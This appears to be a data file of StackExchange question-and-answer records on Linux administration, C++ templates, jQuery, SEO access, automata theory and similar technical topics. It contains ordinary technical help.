{  "id": "_unix.213781"  , "question": "I'm trying to configure devilspie so that on detection of opening a certain directory it runs a script to mount that directory over a network.I don't think the script itself is too important but just in case I'll display its code here:#!/bin/bashldir=/home/LinPC/Desktop/Picturesrdir=//WinPC/My Picturesif [ !$(ls -A $ldir) ] ; then    sudo mount.cifs $rdir $ldir -o user=someguyfiThe script works when ran from a shell.I configure devilspie using gdevilspie interface (which may be a part of the problem?).  I know the conditions are being met as I see a window flash briefly but the shell instantly closes.  I use the following line for the 'spawn_sync' action:lxterminal -e sudo bash ~/mount_music.shTyping the above into a shell also spawns the shell and runs the script successfully (prompting me for input).  Triggered by devilspie it does not prompt me, it opens and closes before I get to see the output.(On a side note, entering into gdevilspie spawn_sync action:lxterminal -command=sudo bash ~/mount_music.shthen closing the dialog and reopening it, causes everything after the equals symbol to have been wiped out; a bug in gdevilspie?)"  , "title": "-devilspie doesn't play nice with spawning new terminals"  , "tags": "bash;scripting;terminal;devilspie;lxterminal"  } 
{  "id": "_unix.50684"  , "question": "Reading from /proc/PID/stat a lot of information can be processed. I would like to see how many percentages has been used of CPU power by this process. There are a lot of variable around here (utime, stime, cutime, cstime, gtime, cgtime) but they are in jiffies. The problem with this that jiffy depends on speed of the current CPU. However IPS (Instructions Per Second) depends on inctructions set, and which program do we run but maybe this is more accurete.I would like to use this information in embedded systems where I could pick a CPU that just satisfies the features. In this way I don't have to spend a lot for a largly oversized system.Here is the contents of the stat file (as of 2.6.30-rc7): Field          Content  pid           process id  tcomm         filename of the executable  state         state (R is running, S is sleeping, D is sleeping in an                uninterruptible wait, Z is zombie, T is traced or stopped)  ppid          process id of the parent process  pgrp          pgrp of the process  sid           session id  tty_nr        tty the process uses  tty_pgrp      pgrp of the tty  flags         task flags  min_flt       number of minor faults  cmin_flt      number of minor faults with child's  maj_flt       number of major faults  cmaj_flt      number of major faults with child's  utime         user mode jiffies  stime         kernel mode jiffies  cutime        user mode jiffies with child's  cstime        kernel mode jiffies with child's  priority      priority level  nice          nice level  num_threads   number of threads  it_real_value (obsolete, always 0)  start_time    time the process started after system boot  vsize         virtual memory size  rss           resident set memory size  rsslim        current limit in bytes on the rss  start_code    address above which program text can run  end_code      address below which program text can run  start_stack   address of the start of the stack  esp           current value of ESP  eip           current value of EIP  pending       bitmap of pending signals  blocked       bitmap of blocked signals  sigign        bitmap of ignored signals  sigcatch      bitmap of catched signals  wchan         address where process went to sleep  0             (place holder)  0             (place holder)  exit_signal   signal to send to parent thread on exit  task_cpu      which CPU the task is scheduled on  rt_priority   realtime priority  policy        scheduling policy (man sched_setscheduler)  blkio_ticks   time spent waiting for block IO  gtime         guest time of the task in jiffies  cgtime        guest time of the task children in jiffies"  , "title": "What is the connection between jiffies and IPS? How to convert jiffies to IPS?"  , "tags": "linux;embedded;proc;mips"  , "accepted_answer": "The jiffy does not depend on the CPU speed directly. It is a time period that is used to count different time intervals in the kernel. The length of the jiffy is selected at kernel compile time. More about this: man 7 timeOne of fundamental uses of jiffies is a process scheduling. One jiffy is a period of time the scheduler will allow a process to run without an attempt to reschedule and swap the process out to let another process to run.For slow processors it is fine to have 100 jiffies per second. But kernels for modern processors usually configured for much more jiffies per second. "  } 
{  "id": "_codereview.70153"  , "question": "I think there is more that is needed here. Can someone please comment on it?What I need is to add some common functions to check if an element exists.// Common functions$(document).ready(function() {    /*    Function for creating different styling checkbox, radio input, and select    */    // Create pretty checkboxes and inputs    if ($('.iCheck').length){        $('.iCheck').iCheck({        checkboxClass: 'icheckbox_minimal-blue',        radioClass: 'iradio_minimal-blue',        increaseArea: '20%' // optional    });    }    // Create pretty selects and multiselect        if(!$(html).hasClass(ie8)){             if ($('select').length){                $('select').attr('data-width', '100%').selectpicker();            }        };     /*      Preloader      */    var targetPreloader = $('[data-overlay-text]');    targetPreloader.click(function() {        var text = $(this).attr(data-overlay-text);        $('.preloader-text').text(text);        $('.preloader-window').show().fadeIn();    });    /*      Fix for showing SVG     */    svgeezy.init('nothing', 'png');        /*    Form validation using Jquery validate    */              $('form').validate({        highlight: function(element) {            $(element).closest('.form-group').addClass('has-error');        },        unhighlight: function(element) {            $(element).closest('.form-group').removeClass('has-error');        },        errorElement: 'span',        errorClass: 'help-block',        errorPlacement: function(error, element) {            if(element.parent('.input-group').length) {                error.insertAfter(element.parent());            } else {                error.insertAfter(element);            }        }    });});"  , "title": "Common function to check if an element exists"  , "tags": "javascript;jquery"  } 
{  "id": "_vi.2677"  , "question": "Is there a way to copy the error message that YCM shows at the bottom of vim? For example in the above image, it says: unused parameter 'sortFunction'I had an idea of using howdoi [paste] in another terminal and get a solution easily :)"  , "title": "How do I copy the error message I get from YCM"  , "tags": "cut copy paste;plugin you complete me"  } 
{  "id": "_softwareengineering.27091"  , "question": "I've been working as a developer for about 3 years now (straight from uni), I'm wondering, if I take a year or two out would it be impossible to get back into the industry?I didn't get the gap year thing out of my system after uni, and I'm thinking that I should probably do it before I hit 30 (24 now), my main concern is that if I leave the industry now, I might not get back into it at all and end up working some dead end job.The way I see things is, that general concepts / design patterns etc remain similar over the years, and it is mostly coding syntax / actual implementation that evolves, so it shouldn't move on dramatically.Also, women developers (yes there are some out there!) take years out to have kids and still carry on with their career afterwards, so it can't be impossible.Ultimatum : Would taking a year or two out destroy the (small) career I've built up so far?"  , "title": "If you take a year or two out from being a developer, is it really that hard to get back into it?"  , "tags": "employment"  } 
{  "id": "_datascience.16538"  , "question": "Some time ago I read article about method of checking hypothesis in case of impossibility to conduct A/B testing. The key point of this method is to balance groups with help of machine learning technique to prevent bias. E.g. we have records about users and if they used our product or not, then we use classifier to predict if user tends to use product or not based on his known features and build unbiased test groups for products.This explanation may be  unclear but unfortunately I forgot how is this method called. I am sure that I have read about it somewhere on wikipedia, if you have any guess on what it may be or you know any similar methods, please let me know its name.Thanks!"  , "title": "Hypothesis check on historical data"  , "tags": "ab test"  } 
{  "id": "_webmaster.83960"  , "question": "We have hired a company to do our SEO. They've done their onpage work and starting to do link building. They are now asking for access to Search Console and Analytics.BackgroundThe SEO company actually also handles SEO work for a few of our competition (we don't know the exact number, but supposedly not enough to create a conflict of interest). One of the ways they got us to sign up with them is by them telling us that a competition of ours signed up with them the previous month and have already made it to first page.After signing up with them, we found out that they used that fact as a selling point when they approached another one of our competitions. We have a good working relation with this particular competing company and they informed us about what the SEO company told them.We've went back to the SEO company and asked them not to tell anyone that we're using them; we don't want our competition finding out what we're doing to outdo them. The SEO company said they were happy to oblige.ProblemWe really don't want any of our metrics to be divulged to our competition. Or even to give the SEO additional insights on how they could improve the competition's ranking (e.g. they might find out that we are ranking high for certain keywords that's not even registering for the competition; that information could be used to suggest new keywords for the competition to optimize for). We've become paranoid.QuestionCan the SEO company do their jobs effectively if we do not give them access to Search Console and Analytics?"  , "title": "Is it necessary to share access to Google Search Console and Google Analytics with an SEO agency?"  , "tags": "seo;google analytics;google search console"  , "accepted_answer": "They can do SEO without these tools but for doing it perfectly they need the access to Google Search Console and Google Analytics. For example,Using Google Search ConsoleThey can get notified about your sites issues/penaltiesThe Search Analytics (search queries) report details a list ofkeywords a website ranks for and the number of impressions andclicks they received along with click through rate (CTR) and averageranking position.They can identify & monitor broken pages on your site (Crawl Errors)They can monitor your sites Link Profile They can check Mobile Usability which is more important.Disavow Tool Structured Data, Google Index, Crawl Stats, Sitemaps, Security IssuesetcThese are all very important. With out access to Google Search Console they can't check all these points.So better give those access to your SEO company. If you don't trust them change to another one."  } 
{  "id": "_unix.8342"  , "question": "Suppose I haveexport MY_VAR=0in ~/.bashrc.I have an opened gnome terminal, and in this terminal, I change $MY_VAR value to 200. So, if I doecho $MY_VARin this terminal, 200 is shown.Now, I opened another tab in my gnome terminal, and do echo $MY_VAR...and instead of 200, I have 0.What should I do to persist the 200 value when a terminal modifies an environment variable, making this modification (setting to 200) available to all subsequent sub shells and such? Is this possible?"  , "title": "Export an env variable to be available at all sub shells, and possible to be modified?"  , "tags": "bash;shell;environment variables"  , "accepted_answer": "A copy of the environment propagates to sub-shells, so this works:$ export MY_VAR=200$ bash$ echo $MY_VAR200but since it's a copy, you can't get that value up to the parent shell  not by changing the environment, at least.It sounds like you actually want to go a step further, which is to make something which acts like a global variable, shared by sibling shells initiated separately from the parent  like your new tab in Gnome Terminal.Mostly, the answer is you can't, because environment variables don't work that way. However, there's another answer, which is, well, you can always hack something up. One approach would be to write the value of the variable to a file, like ~/.myvar, and then include that in ~/.bashrc. Then, each new shell will start with the value read from that file.You could go a step further  make ~/.myvar be in the format MYVAR=200, and then set PROMPT_COMMAND=source ~/.myvar, which would cause the value to be re-read every time you get a new prompt. It's still not quite a shared global variable, but it's starting to act like it. It won't activate until a prompt comes back, though, which depending on what you're trying to do could be a serious limitation.And then, of course, the next thing is to automatically write changes to ~/.myvar. That gets a little more complicated, and I'm going to stop at this point, because really, environment variables were not meant to be an inter-shell communication mechanism, and it's better to just find another way to do it."  } 
{  "id": "_webmaster.36388"  , "question": "Webmaster Newbie QuestionI have a low end vps (128MB RAM)running on Debian.I used a bash script by ilevkov to setup the site. After some trial and error, I managed to set up a WordPress on it. Just now I found out that my VPS can't send any email. I tested using the WordPress reset password email, and it showsThe e-mail could not be sent.  Possible reason: your host may have disabled the mail() function...After some Google session I noticed that I can send email from ssh. So I triedmail myemail@gmail.comSubject: Halo dionsome message.and the result saidEOT/usr/lib/sendmail: No such file or directory/root/dead.letter 9/243. . . message not sent.The questionHow can I fix my VPS mail setting?"  , "title": "My VPS cannot send email"  , "tags": "email;vps"  } 
{  "id": "_unix.363802"  , "question": "I've created an access point using nmcli however it isn't showing up when I scan for it on my phone.Here's how I created to access pointuser@user:~# sudo nmcli connection add type wifi ifname wlan0 ssid 'wifi-wlan0'user@user:~# sudo nmcli con edit wifi-wlan0    set ipv4.method shared    set ipv6.method ignore    set connection.autoconnect no    set 802-11-wireless.mode adhoc    save    quitHere are my connectionsuser@user:~# sudo nmcli connectionNAME                UUID                                  TYPE                  DEVICE (green) Wired connection 1  00000000-000-0000-0000-000000000000  802-3-ethernet   eth0   (green) wifi-wlan0          11111111-111-1111-1111-111111111111  802-11-wireless  wlan0  (white) wlan0               22222222-222-2222-2222-222222222222  802-11-wireless  --    wifi-wlan0 is configured as the access point however it doesn't show up on as a wifi network. root@orangepizero:~# nmcli connection show wifi-wlan0 connection.id:                          wifi-wlan0 connection.uuid:                        11111111-111-1111-1111-111111111111 connection.interface-name:              wlan0 connection.type:                        802-11-wireless connection.autoconnect:                 no connection.autoconnect-priority:        0 connection.timestamp:                   1494274782 connection.read-only:                   no connection.permissions:                  connection.zone:                        -- connection.master:                      -- connection.slave-type:                  -- connection.autoconnect-slaves:          -1 (default) connection.secondaries:                  connection.gateway-ping-timeout:        0 connection.metered:                     unknown connection.lldp:                        -1 (default) 802-11-wireless.ssid:                   iot 802-11-wireless.mode:                   adhoc 802-11-wireless.band:                   -- 802-11-wireless.channel:                0 802-11-wireless.bssid:                  -- 802-11-wireless.rate:                   0 802-11-wireless.tx-power:               0 802-11-wireless.mac-address:            -- 802-11-wireless.cloned-mac-address:     -- 802-11-wireless.mac-address-blacklist:   802-11-wireless.mac-address-randomization:default 802-11-wireless.mtu:                    auto 802-11-wireless.seen-bssids:             802-11-wireless.hidden:                 no 802-11-wireless.powersave:              default (0) ipv4.method:                            shared ipv4.dns:                               ipv4.dns-search:                        ipv4.dns-options:                       (default)ipv4.dns-priority:                      0ipv4.addresses:                         ipv4.gateway:                           --ipv4.routes:                            ipv4.route-metric:                      -1ipv4.ignore-auto-routes:                noipv4.ignore-auto-dns:                   noipv4.dhcp-client-id:                    --ipv4.dhcp-timeout:                      0ipv4.dhcp-send-hostname:                yesipv4.dhcp-hostname:                     --ipv4.dhcp-fqdn:                         --ipv4.never-default:                     noipv4.may-fail:                          yesipv4.dad-timeout:                       -1 (default)ipv6.method:                            ignoreipv6.dns:                               ipv6.dns-search:                        ipv6.dns-options:                       (default)ipv6.dns-priority:                      0ipv6.addresses:                         ipv6.gateway:                           --ipv6.routes:                            ipv6.route-metric:                      -1ipv6.ignore-auto-routes:                noipv6.ignore-auto-dns:                   noipv6.never-default:                     noipv6.may-fail:                          yesipv6.ip6-privacy:                       -1 (unknown)ipv6.addr-gen-mode:                     stable-privacyipv6.dhcp-send-hostname:                yesipv6.dhcp-hostname:                     --GENERAL.NAME:                           wifi-wlan0GENERAL.UUID:                           a629217a-36a8-44ce-a91f-dfaa042d4a37GENERAL.DEVICES:                        wlan0GENERAL.STATE:                          activatedGENERAL.DEFAULT:                        noGENERAL.DEFAULT6:                       noGENERAL.VPN:                            noGENERAL.ZONE:                           --GENERAL.DBUS-PATH:                      /org/freedesktop/NetworkManager/ActiveConnection/1GENERAL.CON-PATH:                       /org/freedesktop/NetworkManager/Settings/0GENERAL.SPEC-OBJECT:                    /org/freedesktop/NetworkManager/AccessPoint/23GENERAL.MASTER-PATH:                    --IP4.ADDRESS[1]:                         10.42.0.1/24IP4.GATEWAY:                            IP6.ADDRESS[1]:                         fe80::de44:6dff:fe30:4d5d/64IP6.GATEWAY:                            "  , "title": "nmcli wifi access point isn't showing up"  , "tags": "ubuntu;networking;access point"  } 
{  "id": "_codereview.166614"  , "question": "I am implementing a litte generic math library. What I have done is to write my generic matrix and vector class. I'm curious if I have it done right so far (implementation wise not totally mathematical correctness wise). Reason: I'm relatively new to template programming and I am not sure what is right, what could be done better and what should I try to avoid at all costs if I use templates in C++.So far I managed to multiply different matrices of (obviously) different sizes while maintaining static allocation by using only std::array, so no dynamic memory allocation.One thing is needed to be mentioned: my Vectors and Matrices start count their elements with #1 not #0 like it is usually done in C++ with arrays. The reason for this is to be near as possible to 'proper' math, but I am open to get convinced otherwise.First of all, my generic Vector class is quite boring but needed for my matrix class, so I put it inside this post.#include <array>#include <cmath>namespace jslmath{    template<size_t Dimension,typename NumberType = double>    class Vector    {    public:        using Value = NumberType;        using Storage = std::array<NumberType, Dimension>;    private:        Storage mField;    public:        Vector(const Vector&) = default;        Vector(Vector&&)  = default;        virtual ~Vector() = default;        template<typename ...Targs>        Vector(Targs... args): mField({args...}){}        Vector(const Storage& args) : mField(args){}        Vector& operator=(const Vector&) = default;        Vector& operator=(Vector&&) = default;        Value operator[](size_t index)const        {            return at(index);        }        Value at(size_t index)const        {            if (index <= Dimension && index != 0)                return mField[index - 1];            throw;//need improvment        }        Vector operator+(Vector vec) const{ return add(vec); }        Vector operator-(Vector vec) const{ return sub(vec); };        Vector operator/(Vector vec) const{ return div(vec); };        Vector operator*(Vector vec) const{ return mul(vec); };        Vector operator+(Value scalar) const{ return add(scalar); };        Vector operator-(Value scalar) const{ return sub(scalar); };        Vector operator/(Value scalar) const{ return div(scalar); };        Vector operator*(Value scalar) const{ return mul(scalar); };        Vector add(Vector vec)const        {            Storage temp;            for (auto i = 0; i < Dimension; i++)                temp[i] = mField[i] + vec[i + 1];            return {temp};        }        Vector sub(Vector vec)const        {            Storage temp;            for (auto i = 0; i < Dimension; i++)                temp[i] = mField[i] - vec[i + 1];            return { temp };        }        Vector div(Vector vec)const        {            Storage temp;            for (auto i = 0; i < Dimension; i++)                temp[i] = mField[i] / vec[i + 1];            return { temp };        }        Vector mul(Vector vec)const        {            Storage temp;            for (auto i = 0; i < Dimension; i++)                temp[i] = mField[i] * vec[i + 1];            return { temp };        }        Value dot(Vector vec) const        {            Value tmp = 0;            for (auto i = 1; i <= Dimension; i++)                tmp = vec[i] + at(i);            return tmp;        }        Value magnitude() const        {            return std::sqrt(dot(*this));        }        Value magnitudeSq() const        {            return (dot(*this));        }        Value distance(Vector vec) const        {            auto tmp = vec - *this;            return tmp.magnitude();        }        void normalize()        {            *this = *this * (1.0 / magnitude());        }        double Angle(Vector vec)        {            return std::acos(dot(vec)/ std::sqrt(magnitudeSq()*vec.magnitudeSq()));        }        Vector add(Value scalar)const        {            Storage temp;            for (auto i = 0; i < Dimension; i++)                temp[i] = mField[i] + scalar;            return { temp };        }        Vector sub(Value scalar)const        {            Storage temp;            for (auto i = 0; i < Dimension; i++)                temp[i] = mField[i] - scalar;            return { temp };        }        Vector div(Value scalar)const        {            Storage temp;            for (auto i = 0; i < Dimension; i++)                temp[i] = mField[i] / scalar;            return { temp };        }        Vector mul(Value scalar)const        {            Storage temp;            for (auto i = 0; i < Dimension; i++)                temp[i] = mField[i] * scalar;            return { temp };        }    };So from here on now the interesting part starts:    template<size_t N,size_t M,typename NumberType = double>    class Matrix    {    public:        using Value = NumberType;        using Storage = std::array<NumberType, N*M>;        using RowVec = Vector<M, NumberType>;        using ColVec = RowVec;The first part of my class is just some lifetime saver and also makes the code more readable:private:        Storage     mGrid;    public:        Matrix(const Matrix&) = default;        Matrix(Matrix&&) = default;        template<typename ...Targs>        Matrix(Targs... args) : mGrid({ args... }) { }        Matrix(const Storage& args) : mGrid(args) {  }        RowVec operator[](size_t index) const        {            return Row(index);        }        Value operator()(size_t Row, size_t Col) const         {            if(Row != 0 && Col != 0)                return mGrid[(Col-1) + M*(Row-1)];            throw;        }        constexpr size_t Height() { return N; };        constexpr size_t Width() { return M; }        Storage& data() { return mGrid; }        RowVec Row(size_t index)const        {            if (index <= N && index != 0)            {                typename RowVec::Storage temp;                for (auto i = 1; i <= M; i++)                    temp[i - 1] = (*this)(index, i);                return RowVec(temp);            }            throw;        }        RowVec Col(size_t index)const        {            if (index <= N && index != 0)            {                typename RowVec::Storage temp;                for (auto i = 1; i <= N; i++)                    temp[i - 1] = (*this)(i, index);                return RowVec(temp);            }            throw;        }        void transpose(){            Storage tmp;            for (auto i = 0; i < N * M; i++) {                int row = i / N;                int col = i % M;                tmp[i] = mGrid[M * col + row];            }            mGrid = tmp;        }        template< template<size_t, size_t, typename>class B, size_t I, size_t J, typename Type>        auto operator*(B<I, J, Type>& b)        {            return mul(b);        }        auto operator*(Value val)        {            return mul(val);        }The most complicated part of my code so far. I have to calculate the size of my new matrix at compile time so that I am able to keep my goal to avoid dynamic allocation. The syntax of template templates is quite odd to me but it does work.        template< template<size_t,size_t,typename>class B, size_t I, size_t J, typename Type>        auto mul(B<I,J,Type>& b) -> decltype(Matrix<N, J, Value>{})        {            Matrix<N, J, Value> result;            for (auto i = 0; i < N; ++i)                for (auto j = 0; j < J; ++j)                {                    for (int k = 0; k < I; ++k)                    {                        int _a = M * i + k;                        int _b = J * k + j;                        result.data()[J * i + j] += this->mGrid[_a] * b.data()[_b];                    }                }            return result;        }        Matrix mul(Value b)        {            Storage result;            for (auto i = 0; i < N; ++i)                for (auto j = 0; j < M; ++j)                {                    result[M*i + j] = mGrid[M*i + j] * b;                }            return { result };        }};}And a small test application:int main(int argc, char* argv[]){    jslmath::Matrix<3, 3> Test3( 1.0,2.0,3.0,4.0,5.0,6.0,7.0,8.0,9.0 );    jslmath::Matrix<3, 1> Test4( 1.0, 2.0, 3.0 );    auto T = Test3 * Test4;    return T(1,1);}With the help of an online compiler I already found out that VS is not particularly great at compiling this code example compared to gcc and clang. What totally surprised me was that clang was so good at optimizing my code that in the and all that was left were a single return statement with value 14!Clang did all the computation of multiplying two different sized matrices at compile time. I am flabbergasted about that. It is also the reason why I posted this code here. I want to know from you what I did well and what could be improved. I'm not really sure how I did that on the first try without even thinking of active optimization from my side."  , "title": "Generic matrices implementation"  , "tags": "c++;performance;matrix;template;c++17"  , "accepted_answer": "Some PointsSo far I managed to multiply different matrices of (obviously) different sizes while maintaining static allocation by using only std::array, so no dynamic memory allocation.Sure. If this is something you really want.One thing is needed to be mentioned: my Vectors and Matrices start count their elements with #1 not #0 like it is usually done in C++ with arrays. The reason for this is to be near as possible to 'proper' math, but I am open to get convinced otherwise.That depends entirely on the user base who will be using this class. If they are mathematicians who are used to 1 based array then fine. But think that most people who use C like languages are already used to using 0 based arrays so have this may confuse people.Some ThoughtsA lot of Matrix libraries actually delay the multiplication (and other operations) until the value inside the matrix is required. That way you don't pay for operations that you don't need.Also by deferring operations you can potentially eliminate null operations or simplify operations that are cumulative.Example: {     Matrix<4,5>    x(init);     Matrix<4,5>    y(init);     Matrix<4,5>    z = x + y;  // Here the + operator                                // Can loop over all the elements                                // and do the operation for each element.     std::cout << z[1][1] << \\n; // Here we use only one value }                                 // Then z goes out of scope and is destroyed.                                   // So we just did a bunch of operations                                   // that are not needed.// If at the point where we did the operation + we returned an// object that knows about x and y but did not immediately do the operation// Then we accesses element [1][1] we see the work has not been done// and just do the operation for that location. We don't work out all// the elements just the one we want and only when we need it.// That is a deferred operation.Example 2: Matrix<4,5>    a(init); Matrix<5,3>    b(init); Matrix<4,3>    c = a * b; Matrix<4,3>    d = c; Matrix<4,3>    e = c - d;In this example we can see that all elements of e will be zero. So calculating the value of c first is a waste of time. By deferring calculations of the elements we can sometimes determine the result without having to do all the expensive operations.So at run-time you can perform operations that cancel out other operations and thus you do not need to perform expensive operations if there results do not generate a value that effects the result.Code ReviewIf your Value (or NumberType) is always a simple POD then this is fine.        template<typename ...Targs>        Vector(Targs... args): mField({args...}){}But maybe you want arrays/matrices of complex types then it may be useful to forward the values.        template<typename ...Targs>        Vector(Targs&&... args): mField({std::forward<Targs>(args)...}){}In C++ normally the operator[] is unchecked to allow for optimal speed (you don't need to check the ranges in the function if you have already checked it outside the function) while the method at() does do a range check (because you have not done the check externally).Your access access operators change this behavior.        Value operator[](size_t index)const        {            // Changes an unchecked operation into a checked operation.            return at(index);        }        Value at(size_t index)const        {            // Uses the unchecked access operator[]            // But does manually checking the mField.at() will check.            if (index <= Dimension && index != 0)                return mField[index - 1];            throw;        }The second thing to think about is returning by value. Usually when you have a container you return accesses to the element by reference. Thus allowing you to modify the value intuitively. This also makes writting operator+= simpler (then operator+ can be written in terms of operator+=.The third thing is that throw; (without an expression is wrong). This is used to re-throw a currently propogating exception from within a catch clause. There is no catch here so this results in a call to std::terminate        // Const and non const version return by reference        // Use correct underlying method for checking and non checking.        Value const& operator[](size_t index) const        {            return mField[internalIndex(index)];        }        Value&       operator[](size_t index)        {            return mField[internalIndex(index)];        }        Value const& at(size_t index) const        {            return mField.at(internalIndex(index));        }        Value&       at(size_t index)        {            return mField.at(internalIndex(index));        }Creating Operators.Normally you implement operator+ in terms of operator+=.        Vector operator+(Vector vec) const{ return add(vec); }But you should also pass the parameter by const reference to avoid a copy.        Vector& operator+=(Vector const& vec)        {            for (auto i = 1; i <= Dimension; ++i)                (*this)[i] += vec[i];            return *this;        }        Vector operator+(Vector const& vec) const        {            Vector  temp(*this);            return temp += vec;        }Same applies to all the operators.Matrix definitions    using RowVec = Vector<M, NumberType>;    using ColVec = RowVec;Should ColVec not have a size N?    using ColVec = Vector<N, NumberType>;"  } 
{  "id": "_scicomp.4701"  , "question": "I have some C++ code that links to matlab2008b. Are matlab 2012a and 2012b backwards compatible with 2008b?If it's not trivially compatible, are there some simple steps to make it compatible?"  , "title": "Are matlab C library versions backwards compatible?"  , "tags": "matlab;c++;c"  , "accepted_answer": "In each version some functions are added, changed and removed.As such newer versions are never fully backwards compatible.That being said, not that much has changed from 2008 to 2012, so there is a good chance that you can get your code to work with no or few adjustments."  } 
{  "id": "_cstheory.19241"  , "question": "Residual finite state automata (RFSAs, defined in [DLT02]) are NFAs that have some nice features in common with DFAs. In particular, there is always a canonical minimum sized RFSA for every regular language, and the language recognized by each state in the RFSA is a residual, just like in a DFA. However, whereas a minimum DFAs states form a bijection with all residuals, the canonical RFSAs states are in bijection with the prime residuals; there can be exponentially fewer of these, so RFSAs can be much more compact than DFAs for representing regular languages. However, I can't tell if there is an efficient algorithm for minimizing RFSAs or if there is a hardness result. What is the complexity of minimizing RFSAs?From browsing [BBCF10], it doesn't seem like this is common knowledge. On the one hand, I expect this to be difficult because a lot of simple questions about RFSAs like is this NFA an RFSA? are very hard, PSPACE-complete in this case. On the other hand, [BHKL09] shows that canonical RFSAs are efficiently learnable in Angluin's minimally-adequate teacher model [A87], and efficiently learning a minimum RFSA and minimizing RFSAs seems like it should be of equal difficulty. However, as far as I can tell [BHKL09]'s algorithm does not imply a minimization algorithm, since the size of counter-examples is not bounded and it is not clear how to efficiently test RFSAs for equality to simulate the counter-example oracle. Testing two NFAs for equality is PSPACE-complete, for example.References[A87] Angluin, D. (1987). Learning regular sets from queries and counterexamples. Information and Computation, 75: 87-106[BBCF10] Berstel, J., Boasson, L., Carton, O., & Fagnot, I. (2010). Minimization of automata. arXiv:1010.5318.[BHKL09] Bollig, B., Habermehl, P., Kern, C., & Leucker, M. (2009). Angluin-Style Learning of NFA. In IJCAI, 9: 1004-1009.[DLT02] Denis, F., Lemay, A., & Terlutte, A. (2002). Residual finite state automata. Fundemnta Informaticae, 51(4): 339-368."  , "title": "Minimizing residual finite state automata"  , "tags": "cc.complexity theory;ds.algorithms;automata theory;lg.learning;minimization"  } 
{  "id": "_softwareengineering.39122"  , "question": "I've been evaluating a number of code review tools (mostly free ones), but they all seem to be aimed at reviewing patches before they are committed. This wouldn't really fit within our workflow with Subversion, so I've been looking for alternatives that better support reviewing committed revisions instead of just diffs. Any recommendations? I would prefer free or inexpensive tools."  , "title": "What tools can be used to facilitate code reviews after commits?"  , "tags": "tools;code reviews"  } 
{  "id": "_codereview.113486"  , "question": "We are always told to call GPIO.cleanup() before we exit our Pi programs. I've seen people using try ... catch ... finally to achieve this. But hey, we are doing python here, an elegant programming language. Do you guys think this is a more elegant solution?# SafeGPIO.pyfrom RPi import GPIOclass SafeGPIO(object):    def __enter__(self):        return GPIO    def __exit__(self, *args, **kwargs):        GPIO.cleanup()Use like this:from SafeGPIO import SafeGPIOimport timewith SafeGPIO() as GPIO:    GPIO.setmode(GPIO.BOARD)    GPIO.setup(7, GPIO.OUT)    GPIO.output(7, True)    GPIO.setup(8, GPIO.OUT)    GPIO.output(8, True)    val = 0    for i in xrange(10):        val = (val + 1) % 2        active_pin = 7 + val        inactive_pin = 7 + (val + 1) % 2        GPIO.output(active_pin,True)        GPIO.output(inactive_pin,False)        time.sleep(2)"  , "title": "Raspberry Pi GPIO safe clean up"  , "tags": "python;python 2.7;raspberry pi"  } 
{  "id": "_unix.346439"  , "question": "How does rsync --fuzzy work? I do not get the results I expect.From the manual:This  option  tells rsync that it should look for a basis file for any destination file that is missing.  The current algorithm looks in the  same directory as the destination file for either a file that has an identical size and modified-time, or a similarly-named file.  If found,  rsync uses the fuzzy basis file to try to speed up the transfer.If  the option is repeated, the fuzzy scan will also be done in any matching alternate destination directories that are specified via --compare-dest,  --copy-dest, or --link-dest.Note that the use of the --delete option might get rid of any potential fuzzy-match files, so either  use  --delete-after  or  specify  some  filename exclusions if you need to prevent this.Thus I expect the following shell script to rename the file destination/a1 to destination/a2 on the second rsync run. However as I interpret the output this is not what is happening (Matched data: 0 bytes).#! /usr/bin/env bashset -ecd $(mktemp -d)mkdir source destinationcat /dev/urandom | head --bytes=1M > source/a1rsync --recursive --times $(pwd)/source/ $(pwd)/destination/treemv source/a1 source/a2rsync \\    --verbose \\    --recursive \\    --times \\    --delete \\    --delete-after \\    --fuzzy \\    --human-readable \\    --itemize-changes \\    --stats \\    $(pwd)/source/ \\    $(pwd)/destination/treerm -r source destinationOutput: destination  a1 source     a12 directories, 2 filesbuilding file list ... done>f+++++++++ a2*deleting   a1Number of files: 2 (reg: 1, dir: 1)Number of created files: 1 (reg: 1)Number of deleted files: 1 (reg: 1)Number of regular files transferred: 1Total file size: 1.05M bytesTotal transferred file size: 1.05M bytesLiteral data: 1.05M bytesMatched data: 0 bytesFile list size: 0File list generation time: 0.001 secondsFile list transfer time: 0.000 secondsTotal bytes sent: 1.05MTotal bytes received: 34sent 1.05M bytes  received 34 bytes  2.10M bytes/sectotal size is 1.05M  speedup is 1.00. destination  a2 source     a22 directories, 2 filesOutput of rsync --version:rsync  version 3.1.2  protocol version 31Copyright (C) 1996-2015 by Andrew Tridgell, Wayne Davison, and others.Web site: http://rsync.samba.org/Capabilities:    64-bit files, 64-bit inums, 64-bit timestamps, 64-bit long ints,    socketpairs, hardlinks, symlinks, IPv6, batchfiles, inplace,    append, ACLs, xattrs, iconv, symtimes, preallocrsync comes with ABSOLUTELY NO WARRANTY.  This is free software, and youare welcome to redistribute it under certain conditions.  See the GNUGeneral Public Licence for details.How does rsync --fuzzy work?Why do I not get the results I expect?"  , "title": "How does the --fuzzy option for rsync work?"  , "tags": "rsync"  , "accepted_answer": "You're using rsync to copy files between two local file trees. The incremental algorithm, and all its associated optimisations such as --fuzzy, are ignored in this mode.Repeat your test with a local file being copied to a remote server (or remote to local; it doesn't matter) and you'll find it works as expected.As an example, modify your script in both places such as $(pwd)/destination is changed to localhost:$(pwd)/destination. It's not elegant but it will suffice.# Set up PKI for localhostssh-keygen -t rsacat ~/.ssh/id_rsa.pub >>~/.ssh/authorized_keysssh localhost idScript results from the second rsync:building file list ... done<f+++++++++ a2*deleting   a1Number of files: 2 (reg: 1, dir: 1)Number of created files: 1 (reg: 1)Number of deleted files: 1 (reg: 1)Number of regular files transferred: 1Total file size: 1.05M bytesTotal transferred file size: 1.05M bytesLiteral data: 0 bytesMatched data: 1.05M bytesFile list size: 0File list generation time: 0.001 secondsFile list transfer time: 0.000 secondsTotal bytes sent: 4.20KTotal bytes received: 6.18Ksent 4.20K bytes  received 6.18K bytes  20.75K bytes/sectotal size is 1.05M  speedup is 101.09"  } 
{  "id": "_unix.134918"  , "question": "I've installed maven3 on CentOS from the JPackage repository. Problem is my installs also seem to have pulled in maven2 which is the default. Is there any way to switch /usr/bin/mvn to be maven3? perhaps using the alternatives application? (note: I can modify the path, or symlink I know, just trying to find out if there's a more correct way)"  , "title": "Switch Maven version after installing from jpackage?"  , "tags": "centos;software installation;configuration"  } 
